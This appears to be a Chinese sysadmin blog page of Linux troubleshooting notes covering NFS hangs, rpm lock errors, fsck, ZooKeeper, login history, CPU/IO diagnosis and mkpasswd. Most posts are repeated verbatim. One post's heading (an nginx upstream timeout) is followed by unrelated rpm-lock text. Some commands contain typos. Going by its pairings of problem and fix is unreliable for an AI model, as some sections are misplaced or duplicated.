[再次重现]NFS 客户端机运行"df"命令后死掉(没有反应) -- 解决
Unix/LinuxC技术 jackxiang 2017-6-27 22:53
背景:发现df 特别慢,用strace df -h ,发现卡在/mnt/backup,想cd /mnt卡住了,于是,怎么办?发现NFS的Server端都宕机了。
cat /proc/mounts
umount -lf /mnt/backup
umount: only root can do that
Root:
umount -lf /mnt/backup
More: http://justwinit.cn/post/6800/
-------------------------------------------------------------------------------------
这个问题是第二次遇到了。这次一定要记下来,免得日后麻烦!!
问题描述:
有两台服务器,其中一台向另一台通过nfs共享分区,如下:
server A: nfs server
server B: nfs Client
事件发生: Server A,B 因故障同时重启。 重启后,用putty登陆到server A ,运行‘df’命令:
$ df
$ Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda5 80632188 8899080 67636940 12% /
none 4086484 0 4086484 0% /dev/shm
/dev/sda2 201582252 32076524 159265900 17% /opt
/dev/sda3 201582252 44511180 146831244 24% /fs
/dev/sda7 20161172 332916 18804116 2% /usr/local
/dev/sda8 20161172 78360 19058672 1% /tmp
$(没有出现这个命令提示符)
无奈,只好再用putty 登陆Server A ,将 df 进程kill......
只好尝试重新mount
$mount -t nfs B:/data /mnt/data
failed: RPC Error: Program not registered
哦~~~ ,原来B的nfs 服务没有start... 登陆B:
$serive nfs restart
重新再A上运行df,仍然死掉...
想到先卸载,在挂载:
$umount /mnt/data
device is busy 。
运行fuser -mk /mnt/data 杀掉访问/mnt/data所有进程。
/mnt/data: Stale NFS file handle
在server A 运行 A , ok ~~~
重新mount -t nfs B:/data /mnt/data 打完收工。
来自:http://blog.csdn.net/daniel_cao_/article/details/4584443
cat /proc/mounts
umount -lf /mnt/backup
umount: only root can do that
Root:
umount -lf /mnt/backup
More: http://justwinit.cn/post/6800/
-------------------------------------------------------------------------------------
这个问题是第二次遇到了。这次一定要记下来,免得日后麻烦!!
问题描述:
有两台服务器,其中一台向另一台通过nfs共享分区,如下:
server A: nfs server
server B: nfs Client
事件发生: Server A,B 因故障同时重启。 重启后,用putty登陆到server A ,运行‘df’命令:
$ df
$ Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda5 80632188 8899080 67636940 12% /
none 4086484 0 4086484 0% /dev/shm
/dev/sda2 201582252 32076524 159265900 17% /opt
/dev/sda3 201582252 44511180 146831244 24% /fs
/dev/sda7 20161172 332916 18804116 2% /usr/local
/dev/sda8 20161172 78360 19058672 1% /tmp
$(没有出现这个命令提示符)
无奈,只好再用putty 登陆Server A ,将 df 进程kill......
只好尝试重新mount
$mount -t nfs B:/data /mnt/data
failed: RPC Error: Program not registered
哦~~~ ,原来B的nfs 服务没有start... 登陆B:
$serive nfs restart
重新再A上运行df,仍然死掉...
想到先卸载,在挂载:
$umount /mnt/data
device is busy 。
运行fuser -mk /mnt/data 杀掉访问/mnt/data所有进程。
/mnt/data: Stale NFS file handle
在server A 运行 A , ok ~~~
重新mount -t nfs B:/data /mnt/data 打完收工。
来自:http://blog.csdn.net/daniel_cao_/article/details/4584443
rpm安装出现问题,提示lock:warning: waiting for transaction lock on /var/lib/rpm/__db.000
Unix/LinuxC技术 jackxiang 2017-6-27 22:36
rpm -ihv python-simplejson-2.0.9-8.el5.x86_64.rpm
warning: waiting for transaction lock on /var/lib/rpm/__db.000
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all
再安装也就好了:
rpm -ihv python-simplejson-2.0.9-8.el5.x86_64.rpm
Preparing... ########################################### [100%]
1:python-simplejson ########################################### [100%]
================================================================
故障现象:
[root@localhost Mysql4.1.14.Rhel3]# rpm -ivh MySQL*
warning: waiting for transaction lock on /var/lib/rpm/__db.000
解决方法:
因为prm数据库出现损坏导致,可能导致多数rpm软件的升级、安装或者删除都会有问题。
此错误,请以root身份输入以下命令:
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all
来自:http://blog.csdn.net/yunsongice/article/details/5587631
warning: waiting for transaction lock on /var/lib/rpm/__db.000
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all
再安装也就好了:
rpm -ihv python-simplejson-2.0.9-8.el5.x86_64.rpm
Preparing... ########################################### [100%]
1:python-simplejson ########################################### [100%]
================================================================
故障现象:
[root@localhost Mysql4.1.14.Rhel3]# rpm -ivh MySQL*
warning: waiting for transaction lock on /var/lib/rpm/__db.000
解决方法:
因为prm数据库出现损坏导致,可能导致多数rpm软件的升级、安装或者删除都会有问题。
此错误,请以root身份输入以下命令:
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all
来自:http://blog.csdn.net/yunsongice/article/details/5587631
[磁盘问题]Linux下出现Read-only file system/Could not create lock at /xxx/xxx, Read-only file system
Unix/LinuxC技术 jackxiang 2017-6-27 22:33
fsck
fsck from util-linux-ng 2.17.2
e2fsck 1.41.12 (17-May-2010)
/dev/sda3: recovering journal
Error reading block 105417495 (Attempt to read block from filesystem resulted in short read). Ignore error<y>? yes
Force rewrite<y>? yes
fsck.ext4: Bad magic number in super-block while trying to re-open /dev/sda3
e2fsck: io manager magic bad!
============================================
尽管上面没有啥文件,我选了Yes,于是出了问题:
fsck
-bash: /sbin/fsck: Input/output error
-------------------------------------------------
要选No:
尝试执行了一下fsck 直接出现了 修复提示,无任何异常!
如果出现这样的提示,就需要小心:
root@test ~]# fsck
fsck 1.35 (28-Feb-2004)
e2fsck 1.35 (28-Feb-2004)
/dev/sda1 is mounted.
WARNING!!! Running e2fsck on a mounted filesystem may cause
SEVERE filesystem damage.
Do you really want to continue (y/n)? no
check aborted.
[root@test ~]#
一定要选择NO,先拆卸文件系统,否则 对文件系统造成毁灭性的打击。
来自:http://blog.csdn.net/snowfoxmonitor/article/details/19121531
fsck from util-linux-ng 2.17.2
e2fsck 1.41.12 (17-May-2010)
/dev/sda3: recovering journal
Error reading block 105417495 (Attempt to read block from filesystem resulted in short read). Ignore error<y>? yes
Force rewrite<y>? yes
fsck.ext4: Bad magic number in super-block while trying to re-open /dev/sda3
e2fsck: io manager magic bad!
============================================
尽管上面没有啥文件,我选了Yes,于是出了问题:
fsck
-bash: /sbin/fsck: Input/output error
-------------------------------------------------
要选No:
尝试执行了一下fsck 直接出现了 修复提示,无任何异常!
如果出现这样的提示,就需要小心:
root@test ~]# fsck
fsck 1.35 (28-Feb-2004)
e2fsck 1.35 (28-Feb-2004)
/dev/sda1 is mounted.
WARNING!!! Running e2fsck on a mounted filesystem may cause
SEVERE filesystem damage.
Do you really want to continue (y/n)? no
check aborted.
[root@test ~]#
一定要选择NO,先拆卸文件系统,否则 对文件系统造成毁灭性的打击。
来自:http://blog.csdn.net/snowfoxmonitor/article/details/19121531
zookeeper崩溃后修复之[myid:] - ERROR [main:Util@239] - Last transaction was partial.
Unix/LinuxC技术 jackxiang 2017-6-27 22:30
从网上搜索到方法进行解决:
cat /etc/zookeeper/conf/zoo.cfg
找到dataDir=/var/lib/zookeeper
切换到路径/var/lib/zookeeper
cd /var/lib/zookeeper
查看目录下的文件:
ls
存在version-2
删除version-2
mv ./version-2 ./version-2.bak
然后在zookeeper的实例中添加角色主机,启动成功。
看了老外的文章,下面是处理方法:
more /etc/zookeeper/conf.dist/zoo.cfg
找到datadir
[root@slave2 zookeeper]# pwd
/var/lib/zookeeper
[root@slave2 zookeeper]# ls
myid version-2 version-2.bak
清空version-2目录下的所有文件
来自:http://www.linuxdiyf.com/linux/16941.html
cat /etc/zookeeper/conf/zoo.cfg
找到dataDir=/var/lib/zookeeper
切换到路径/var/lib/zookeeper
cd /var/lib/zookeeper
查看目录下的文件:
ls
存在version-2
删除version-2
mv ./version-2 ./version-2.bak
然后在zookeeper的实例中添加角色主机,启动成功。
看了老外的文章,下面是处理方法:
more /etc/zookeeper/conf.dist/zoo.cfg
找到datadir
[root@slave2 zookeeper]# pwd
/var/lib/zookeeper
[root@slave2 zookeeper]# ls
myid version-2 version-2.bak
清空version-2目录下的所有文件
来自:http://www.linuxdiyf.com/linux/16941.html
Linux Pmap 命令 - 查看进程用了多少内存
Unix/LinuxC技术 jackxiang 2017-6-27 22:29
pmap -p pid
linux下如何查看最后登陆的几位用户的详细信息?
Unix/LinuxC技术 jackxiang 2017-6-27 22:23
背景:突然Mount的磁盘脱落挂载了,是不是有人上去做过安全给搞丢了?想看看都是谁?
last -20
lastlog |less
Linux下查看用户登陆历史记录,可以用root用户下的last命令查看:
1.查看单个用户的操作历史
[root@DB-Server ~]# cat /home/username/.bash_history
#username要查看的用户名
2.使用root登陆可查看用户登陆历史
[root@DB-Server ~]# su root
[root@DB-Server ~]# last -10
root pts/1 :0.0 Wed Dec 18 09:54 still logged in
root pts/4 :0.0 Wed Dec 18 09:43 - 09:48 (00:04)
root pts/1 :0.0 Wed Dec 18 09:43 - 09:48 (00:05)
root pts/3 192.168.103.79 Wed Dec 18 09:41 - 12:40 (02:59)
root pts/4 :0.0 Wed Dec 18 09:28 - 09:30 (00:01)
root pts/3 :0.0 Wed Dec 18 09:27 - 09:30 (00:02)
root pts/2 192.168.103.29 Wed Dec 18 09:27 still logged in
root pts/1 :0.0 Wed Dec 18 09:27 - 09:42 (00:15)
root pts/2 :0.0 Wed Dec 18 09:23 - 09:25 (00:01)
root pts/1 :0.0 Wed Dec 18 09:22 - 09:25 (00:02)
#查看最近10次用户历史操作记录
last 命令:
功能说明:列出目前与过去登入系统的用户相关信息。
语 法:last [-adRx][-f ][-n ][帐号名称…][终端机编号…]
参 数:
-a 把从何处登入系统的主机名称或IP地址,显示在最后一行;
-d 将IP地址转换成主机名称;
-f 指定记录文件;
-n 或- 设置列出名单的显示列数;
-R 不显示登入系统的主机名称或IP地址;
-x 显示系统关机,重新开机,以及执行等级的改变等信息;
lastlog可简单查看所有用户最后一次的登陆时间。
来自:https://zhidao.baidu.com/question/91897351.html
last -20
lastlog |less
Linux下查看用户登陆历史记录,可以用root用户下的last命令查看:
1.查看单个用户的操作历史
[root@DB-Server ~]# cat /home/username/.bash_history
#username要查看的用户名
2.使用root登陆可查看用户登陆历史
[root@DB-Server ~]# su root
[root@DB-Server ~]# last -10
root pts/1 :0.0 Wed Dec 18 09:54 still logged in
root pts/4 :0.0 Wed Dec 18 09:43 - 09:48 (00:04)
root pts/1 :0.0 Wed Dec 18 09:43 - 09:48 (00:05)
root pts/3 192.168.103.79 Wed Dec 18 09:41 - 12:40 (02:59)
root pts/4 :0.0 Wed Dec 18 09:28 - 09:30 (00:01)
root pts/3 :0.0 Wed Dec 18 09:27 - 09:30 (00:02)
root pts/2 192.168.103.29 Wed Dec 18 09:27 still logged in
root pts/1 :0.0 Wed Dec 18 09:27 - 09:42 (00:15)
root pts/2 :0.0 Wed Dec 18 09:23 - 09:25 (00:01)
root pts/1 :0.0 Wed Dec 18 09:22 - 09:25 (00:02)
#查看最近10次用户历史操作记录
last 命令:
功能说明:列出目前与过去登入系统的用户相关信息。
语 法:last [-adRx][-f ][-n ][帐号名称…][终端机编号…]
参 数:
-a 把从何处登入系统的主机名称或IP地址,显示在最后一行;
-d 将IP地址转换成主机名称;
-f 指定记录文件;
-n 或- 设置列出名单的显示列数;
-R 不显示登入系统的主机名称或IP地址;
-x 显示系统关机,重新开机,以及执行等级的改变等信息;
lastlog可简单查看所有用户最后一次的登陆时间。
来自:https://zhidao.baidu.com/question/91897351.html
通过Strace定位故障原因之connect() failed (110: Connection timed out) while connecting to upstream
Unix/LinuxC技术 jackxiang 2017-6-27 22:18
rpm -ihv python-simplejson-2.0.9-8.el5.x86_64.rpm
warning: waiting for transaction lock on /var/lib/rpm/__db.000
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all
再安装也就好了:
rpm -ihv python-simplejson-2.0.9-8.el5.x86_64.rpm
Preparing... ########################################### [100%]
1:python-simplejson ########################################### [100%]
================================================================
故障现象:
[root@localhost Mysql4.1.14.Rhel3]# rpm -ivh MySQL*
warning: waiting for transaction lock on /var/lib/rpm/__db.000
解决方法:
因为prm数据库出现损坏导致,可能导致多数rpm软件的升级、安装或者删除都会有问题。
此错误,请以root身份输入以下命令:
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all
来自:http://blog.csdn.net/yunsongice/article/details/5587631
warning: waiting for transaction lock on /var/lib/rpm/__db.000
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all
再安装也就好了:
rpm -ihv python-simplejson-2.0.9-8.el5.x86_64.rpm
Preparing... ########################################### [100%]
1:python-simplejson ########################################### [100%]
================================================================
故障现象:
[root@localhost Mysql4.1.14.Rhel3]# rpm -ivh MySQL*
warning: waiting for transaction lock on /var/lib/rpm/__db.000
解决方法:
因为prm数据库出现损坏导致,可能导致多数rpm软件的升级、安装或者删除都会有问题。
此错误,请以root身份输入以下命令:
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all
来自:http://blog.csdn.net/yunsongice/article/details/5587631
结论:僵尸进程 杀杀杀 杀不死 重启机器
The system is going down for halt NOW!
====================================================
uptime
16:22:19 up 735 days, 5:48, 7 users, load average: 59.70, 58.29, 54.91
close_wait状态出现的原因是被动关闭方未关闭socket造成
tcp 179 0 127.0.0.1:80 127.0.0.1:4184 CLOSE_WAIT -
tcp 175 0 127.0.0.1:80 127.0.0.1:6038 CLOSE_WAIT -
tcp 177 0 127.0.0.1:80 127.0.0.1:4121 CLOSE_WAIT -
netstat -atlunp|grep 80|grep CLOSE_WAIT|wc
3716 26012 405044
----查看当前进程打开了多少句柄数
# lsof -n|awk '{print $2}'|sort|uniq -c|sort -nr|more
162 34255
162 33984
162 33525
162 33356
........
其中第一列是打开的句柄数,第二列是进程ID。
[root@itv-api_php_bj_syq_10_70_XX_XX www]# service nginx restart
Stopping nginx: [ OK ]
Starting nginx: nginx: [warn] conflicting server name "common.itv.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "api.itv.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "api.itv.cctv.com" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "newcomment.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "common.newcomment.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "newcomment.cctv.com" on 0.0.0.0:80, ignored
strace -f -p 56014 -p 56015 -p 56016 -p 56017 -p 56018 -p 56019 -p 56020 -p 56021 -p 56022 -p 56023 -p 56024 -p 56025
attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted
Process 56015 attached - interrupt to quit
Process 56016 attached - interrupt to quit
Process 56017 attached - interrupt to quit
Process 56018 attached - interrupt to quit
Process 56019 attached - interrupt to quit
不是僵尸? 那就是孤儿
http://blog.csdn.net/wesleyluo/article/details/6079139
http://blog.chinaunix.net/uid-10257388-id-2967161.html
The system is going down for halt NOW!
====================================================
uptime
16:22:19 up 735 days, 5:48, 7 users, load average: 59.70, 58.29, 54.91
close_wait状态出现的原因是被动关闭方未关闭socket造成
tcp 179 0 127.0.0.1:80 127.0.0.1:4184 CLOSE_WAIT -
tcp 175 0 127.0.0.1:80 127.0.0.1:6038 CLOSE_WAIT -
tcp 177 0 127.0.0.1:80 127.0.0.1:4121 CLOSE_WAIT -
netstat -atlunp|grep 80|grep CLOSE_WAIT|wc
3716 26012 405044
----查看当前进程打开了多少句柄数
# lsof -n|awk '{print $2}'|sort|uniq -c|sort -nr|more
162 34255
162 33984
162 33525
162 33356
........
其中第一列是打开的句柄数,第二列是进程ID。
[root@itv-api_php_bj_syq_10_70_XX_XX www]# service nginx restart
Stopping nginx: [ OK ]
Starting nginx: nginx: [warn] conflicting server name "common.itv.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "api.itv.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "api.itv.cctv.com" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "newcomment.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "common.newcomment.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "newcomment.cctv.com" on 0.0.0.0:80, ignored
strace -f -p 56014 -p 56015 -p 56016 -p 56017 -p 56018 -p 56019 -p 56020 -p 56021 -p 56022 -p 56023 -p 56024 -p 56025
attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted
Process 56015 attached - interrupt to quit
Process 56016 attached - interrupt to quit
Process 56017 attached - interrupt to quit
Process 56018 attached - interrupt to quit
Process 56019 attached - interrupt to quit
不是僵尸? 那就是孤儿
http://blog.csdn.net/wesleyluo/article/details/6079139
http://blog.chinaunix.net/uid-10257388-id-2967161.html
背景:面对一个不熟悉上面所跑哪些应用的16核心机器,出现负载到56这样的情况,而通过top命令后按P看CPU高的,也并不高,此时,可以想到的是某个核心太高,因为top里面默认的值是平均值,16个核心平均下来其CPU使用效率并不高,鉴于此,得在top输出时按下1,然后定位到某个核心高,才能有的放矢的查看该CPU上跑了哪些应用,贴个简单的命令吧,具体实践排查详细过程在:
实战,/usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf :
Top命令下按1后第三行显示比较关键:
Cpu0 : 0.0%us, 0.0%sy, 0.0%ni, 0.0%id,100.0%wa, 0.0%hi, 0.0%si, 0.0%st
top命令的第三行“Cpu(s): 0.0%us, 0.0%sy, 0.0%ni,100.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st”显示的内容依次为“用户空间占用CPU百分比”、“内核空间占用CPU百分比”、“用户空间内改变过优先级的进程占用CPU百分比”、“空闲CPU百分比”、“等待输入输出CPU时间百分比”、“CPU服务于硬件中断所耗费的时间总额”、“CPU服务软中断所耗费的时间总额”、“Steal Time”
Kipmi0 占用100% CPU1核:
https://yq.aliyun.com/articles/15198
方法1:使用iotop工具
这是一个python脚本工具,使用方法如:iotop -o
方法2:使用工具dmesg
使用dmesg之前,需要先开启内核的IO监控:
echo 1 >/proc/sys/vm/block_dump或sysctl vm.block_dump=1
然后可以使用如下命令查看IO最重的前10个进程:
dmesg |awk -F: '{print $1}'|sort|uniq -c|sort -rn|head -n 10
方法3:使用命令“iostat -x 1“确定哪个设备IO负载高:
# iostat -x 1 3
avg-cpu: %user %nice %system %iowait %steal %idle
1.06 0.00 0.99 1.09 0.00 97.85
Device: rrqm/s wrqm/s r/s w/s rsec/s wsec/s rkB/s wkB/s avgrq-sz avgqu-sz await svctm %util
sda 0.49 17.29 1.74 6.75 23.47 200.18 11.73 100.09 26.33 0.10 12.25 5.73 4.87
找“await”值最大的设备(Device),如上的结果即为sda。
然后使用mount找到sda挂载点,再使用fuser命令查看哪些进程在访问,如:
# fuser -vm /data
==================================================================================
进程占用cpu资源过多负载高的原因分析及解决步骤
2011-10-20 10:30:05
标签:负载高 nginx 休闲 apache linux
觉得写的非常好,以后会用到 ,所以转了过来,一切归原作者所有!
转自这里
服务器环境:redhat linux 5.5 , nginx , phpfastcgi
在此环境下,一般php-cgi运行是非常稳定的,但也遇到过php-cgi占用太多cpu资源而导致服务器响应过慢,我所遇到的php-cgi进程占用cpu资源过多的原因有:
1. 一些php的扩展与php版本兼容存在问题,实践证明 eAccelerater与某些php版本兼容存在问题,具体表现时启动php-cgi进程后,运行10多分钟,奇慢无比,但静态资源访问很快,服务器负载也很正常(说明nginx没有问题,而是php-cgi进程的问题),解决办法就是从php.ini中禁止掉eAccelerater模块,再重启 php-cgi进程即可
2. 程序中可能存在死循环,导致服务器负载超高(使用top指令查看负载高达100+), 需要借助Linux的proc虚拟文件系统找到具体的问题程序
3. php程序不合理使用session , 这个发生在开源微博记事狗程序上,具体表现是有少量php-cgi进程(不超过10个)的cpu使用率达98%以上, 服务器负载在4-8之间,这个问题的解决,仍然需要借助Linux的proc文件系统找出原因。
4. 程序中存在过度耗时且不可能完成的操作(还是程序的问题),例如discuz x 1.5的附件下载功能: source/module/forum/forum_attachement.php中的定义
function getremotefile($file) {
global $_G;
@set_time_limit(0);
if(!@readfile($_G['setting']['ftp']['attachurl'].'forum/'.$file)) {
$ftp = ftpcmd('object');
$tmpfile = @tempnam($_G['setting']['attachdir'], '');
if($ftp->ftp_get($tmpfile, 'forum/'.$file, FTP_BINARY)) {
@readfile($tmpfile);
@unlink($tmpfile);
} else {
@unlink($tmpfile);
return FALSE;
}
}
return TRUE;
}
没有对传入的参数作任何初步检查,而且设置了永不超时,并且使用readfile一次读取超大文件,就可能存在以下问题:
A. 以http方式读取远程附件过度耗时
B. FTP无法连接时,如何及时反馈出错误?
C. readfile是一次性读取文件加载到内存中并输出,当文件过大时,内存消耗惊人
根据实验发现采用readfile一次性读取,内存消耗会明显增加,但是CPU的利用率会下降较多。如果采用分段读取的方式,内存消耗会稍微下降,而CPU占用却会明显上升。
对discuz x 1.5的这个bug较好解决方法就是后台重新正确设置远程附件参数。
以下是我逐步整理的故障排除步骤:
1. 得到占用cpu资源过多的php-cgi进程的pid(进程id), 使用top命令即可,如下图:
经过上图,我们发现,有两个php-cgi进程的cpu资源占用率过高,pid分别是10059,11570,这一般都是程序优化不够造成,如何定位问题的php程序位置?
2. 找出进程所使用的文件
/proc/文件系统保存在内存中,主要保存系统的状态,关键配置等等,而/proc/目录下有很多数字目录,就是进程的相关信息,如下图,我们看看进程10059正在使用哪些文件?
显然,使用了/home/tmp/sess_*文件,这明显是PHP的session文件, 我们查看这个session文件的内容为:view_time|123333312412
到这里,我们已经可以怀疑是由于php程序写入一个叫view_time的session项而引起, 那么剩余的事件就是检查包含view_time的所有php文件,然后修改之(比如改用COOKIE),这实话, 这个view_time并非敏感数据,仅仅记录用户最后访问时间,实在没必要使用代价巨大的session, 而应该使用cookie。
3. 找出有问题的程序,修改之
使用vi编辑以下shell程序(假设网站程序位于/www目录下)
#!/bin/bash
find /www/ -name "*.php" > list.txt
f=`cat ./list.txt`
for n in $f
do
r=`egrep 'view_time' $n`
if [ ! "$r" = "" ] ; then
echo $n
fi
done
运行这个shell程序,将输出包含有view_time的文件, 对记事狗微博系统,产生的问题位于modules/topic.mod.class文件中
来自这里
大家好,公司有一台服务器上部署了mysql+php+apache!
但是发现apache有一个httpd进程占用很高的cup,请教有没有什么命令能查看到时什么文件调用了这个进程?
lsof -p 13321
http://blog.csdn.net/aquester/article/details/51557879
http://blog.chinaunix.net/uid-7934175-id-4013411.html
实战,/usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf :
Top命令下按1后第三行显示比较关键:
Cpu0 : 0.0%us, 0.0%sy, 0.0%ni, 0.0%id,100.0%wa, 0.0%hi, 0.0%si, 0.0%st
top命令的第三行“Cpu(s): 0.0%us, 0.0%sy, 0.0%ni,100.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st”显示的内容依次为“用户空间占用CPU百分比”、“内核空间占用CPU百分比”、“用户空间内改变过优先级的进程占用CPU百分比”、“空闲CPU百分比”、“等待输入输出CPU时间百分比”、“CPU服务于硬件中断所耗费的时间总额”、“CPU服务软中断所耗费的时间总额”、“Steal Time”
Kipmi0 占用100% CPU1核:
https://yq.aliyun.com/articles/15198
方法1:使用iotop工具
这是一个python脚本工具,使用方法如:iotop -o
方法2:使用工具dmesg
使用dmesg之前,需要先开启内核的IO监控:
echo 1 >/proc/sys/vm/block_dump或sysctl vm.block_dump=1
然后可以使用如下命令查看IO最重的前10个进程:
dmesg |awk -F: '{print $1}'|sort|uniq -c|sort -rn|head -n 10
方法3:使用命令“iostat -x 1“确定哪个设备IO负载高:
# iostat -x 1 3
avg-cpu: %user %nice %system %iowait %steal %idle
1.06 0.00 0.99 1.09 0.00 97.85
Device: rrqm/s wrqm/s r/s w/s rsec/s wsec/s rkB/s wkB/s avgrq-sz avgqu-sz await svctm %util
sda 0.49 17.29 1.74 6.75 23.47 200.18 11.73 100.09 26.33 0.10 12.25 5.73 4.87
找“await”值最大的设备(Device),如上的结果即为sda。
然后使用mount找到sda挂载点,再使用fuser命令查看哪些进程在访问,如:
# fuser -vm /data
==================================================================================
进程占用cpu资源过多负载高的原因分析及解决步骤
2011-10-20 10:30:05
标签:负载高 nginx 休闲 apache linux
觉得写的非常好,以后会用到 ,所以转了过来,一切归原作者所有!
转自这里
服务器环境:redhat linux 5.5 , nginx , phpfastcgi
在此环境下,一般php-cgi运行是非常稳定的,但也遇到过php-cgi占用太多cpu资源而导致服务器响应过慢,我所遇到的php-cgi进程占用cpu资源过多的原因有:
1. 一些php的扩展与php版本兼容存在问题,实践证明 eAccelerater与某些php版本兼容存在问题,具体表现时启动php-cgi进程后,运行10多分钟,奇慢无比,但静态资源访问很快,服务器负载也很正常(说明nginx没有问题,而是php-cgi进程的问题),解决办法就是从php.ini中禁止掉eAccelerater模块,再重启 php-cgi进程即可
2. 程序中可能存在死循环,导致服务器负载超高(使用top指令查看负载高达100+), 需要借助Linux的proc虚拟文件系统找到具体的问题程序
3. php程序不合理使用session , 这个发生在开源微博记事狗程序上,具体表现是有少量php-cgi进程(不超过10个)的cpu使用率达98%以上, 服务器负载在4-8之间,这个问题的解决,仍然需要借助Linux的proc文件系统找出原因。
4. 程序中存在过度耗时且不可能完成的操作(还是程序的问题),例如discuz x 1.5的附件下载功能: source/module/forum/forum_attachement.php中的定义
function getremotefile($file) {
global $_G;
@set_time_limit(0);
if(!@readfile($_G['setting']['ftp']['attachurl'].'forum/'.$file)) {
$ftp = ftpcmd('object');
$tmpfile = @tempnam($_G['setting']['attachdir'], '');
if($ftp->ftp_get($tmpfile, 'forum/'.$file, FTP_BINARY)) {
@readfile($tmpfile);
@unlink($tmpfile);
} else {
@unlink($tmpfile);
return FALSE;
}
}
return TRUE;
}
没有对传入的参数作任何初步检查,而且设置了永不超时,并且使用readfile一次读取超大文件,就可能存在以下问题:
A. 以http方式读取远程附件过度耗时
B. FTP无法连接时,如何及时反馈出错误?
C. readfile是一次性读取文件加载到内存中并输出,当文件过大时,内存消耗惊人
根据实验发现采用readfile一次性读取,内存消耗会明显增加,但是CPU的利用率会下降较多。如果采用分段读取的方式,内存消耗会稍微下降,而CPU占用却会明显上升。
对discuz x 1.5的这个bug较好解决方法就是后台重新正确设置远程附件参数。
以下是我逐步整理的故障排除步骤:
1. 得到占用cpu资源过多的php-cgi进程的pid(进程id), 使用top命令即可,如下图:
经过上图,我们发现,有两个php-cgi进程的cpu资源占用率过高,pid分别是10059,11570,这一般都是程序优化不够造成,如何定位问题的php程序位置?
2. 找出进程所使用的文件
/proc/文件系统保存在内存中,主要保存系统的状态,关键配置等等,而/proc/目录下有很多数字目录,就是进程的相关信息,如下图,我们看看进程10059正在使用哪些文件?
显然,使用了/home/tmp/sess_*文件,这明显是PHP的session文件, 我们查看这个session文件的内容为:view_time|123333312412
到这里,我们已经可以怀疑是由于php程序写入一个叫view_time的session项而引起, 那么剩余的事件就是检查包含view_time的所有php文件,然后修改之(比如改用COOKIE),这实话, 这个view_time并非敏感数据,仅仅记录用户最后访问时间,实在没必要使用代价巨大的session, 而应该使用cookie。
3. 找出有问题的程序,修改之
使用vi编辑以下shell程序(假设网站程序位于/www目录下)
#!/bin/bash
find /www/ -name "*.php" > list.txt
f=`cat ./list.txt`
for n in $f
do
r=`egrep 'view_time' $n`
if [ ! "$r" = "" ] ; then
echo $n
fi
done
运行这个shell程序,将输出包含有view_time的文件, 对记事狗微博系统,产生的问题位于modules/topic.mod.class文件中
来自这里
大家好,公司有一台服务器上部署了mysql+php+apache!
但是发现apache有一个httpd进程占用很高的cup,请教有没有什么命令能查看到时什么文件调用了这个进程?
lsof -p 13321
http://blog.csdn.net/aquester/article/details/51557879
http://blog.chinaunix.net/uid-7934175-id-4013411.html
Linux系统自带的密码生成器——mkpasswd,Linux字符串md5.
Unix/LinuxC技术 jackxiang 2017-6-24 13:00
Linux字符串md5,注意得echo -n ,-n就是去空格,如果不加 -n则会有空格输出:
echo -n re0XY6?ki|md5sum|awk '{print $1}'
270899509597f424b626b14034622c89
------------------------------------------------------------
mysql> select md5("re0XY6?ki");
+----------------------------------+
| md5("re0XY6?ki") |
+----------------------------------+
| 270899509597f424b626b14034622c89 |
+----------------------------------+
1 row in set (0.00 sec)
=============================================
Linux系统有一个自带的生成密码的命令,这个命令异常强悍,可以帮助我们生成随机密码,要知道,现在的黑客无处不在,想一个难猜的密码还真的下点功夫,有了这个密码生成工具,就可以为管理员节省好多脑细胞啊,下面看下这个命令的使用:
安装mkpasswd的包:
yum install -y expect
[root@CentOS6 game-dir]# mkpasswd
JI>s64tyv
[root@centos6 game-dir]# mkpasswd -l 12
e/Hwyw8Kied6
[root@centos6 game-dir]# mkpasswd -l 12 -d 3
zas4Ery+5K8l
[root@centos6 game-dir]# mkpasswd -l 12 -c 4
ff9bT7b}npmM
[root@centos6 game-dir]# mkpasswd -l 12 -C 4
x3TwqtSKh}2T
[root@centos6 game-dir]# mkpasswd -l 12 -s 4
px}[aO8cF':8
[root@centos6 game-dir]# mkpasswd -l 18 -s 4 -c 4 -C 4
;.8zW3dGiwmb@dyWO&
下面来简单介绍一下常用的参数含义:
usage: mkpasswd [args] [user]
where arguments are:
-l # (length of password, default = 7)
指定密码的长度,默认是7位数
-d # (min # of digits, default = 2)
指定密码中数字最少位数,默认是2位
-c # (min # of lowercase chars, default = 2)
指定密码中小写字母最少位数,默认是2位
-C # (min # of uppercase chars, default = 2)
指定密码中大写字母最少位数,默认是2位
-s # (min # of special chars, default = 1)
指定密码中特殊字符最少位数,默认是1位
-v (verbose, show passwd interaction)
这个参数在实验的时候报错,具体不知道。
echo -n re0XY6?ki|md5sum|awk '{print $1}'
270899509597f424b626b14034622c89
------------------------------------------------------------
mysql> select md5("re0XY6?ki");
+----------------------------------+
| md5("re0XY6?ki") |
+----------------------------------+
| 270899509597f424b626b14034622c89 |
+----------------------------------+
1 row in set (0.00 sec)
=============================================
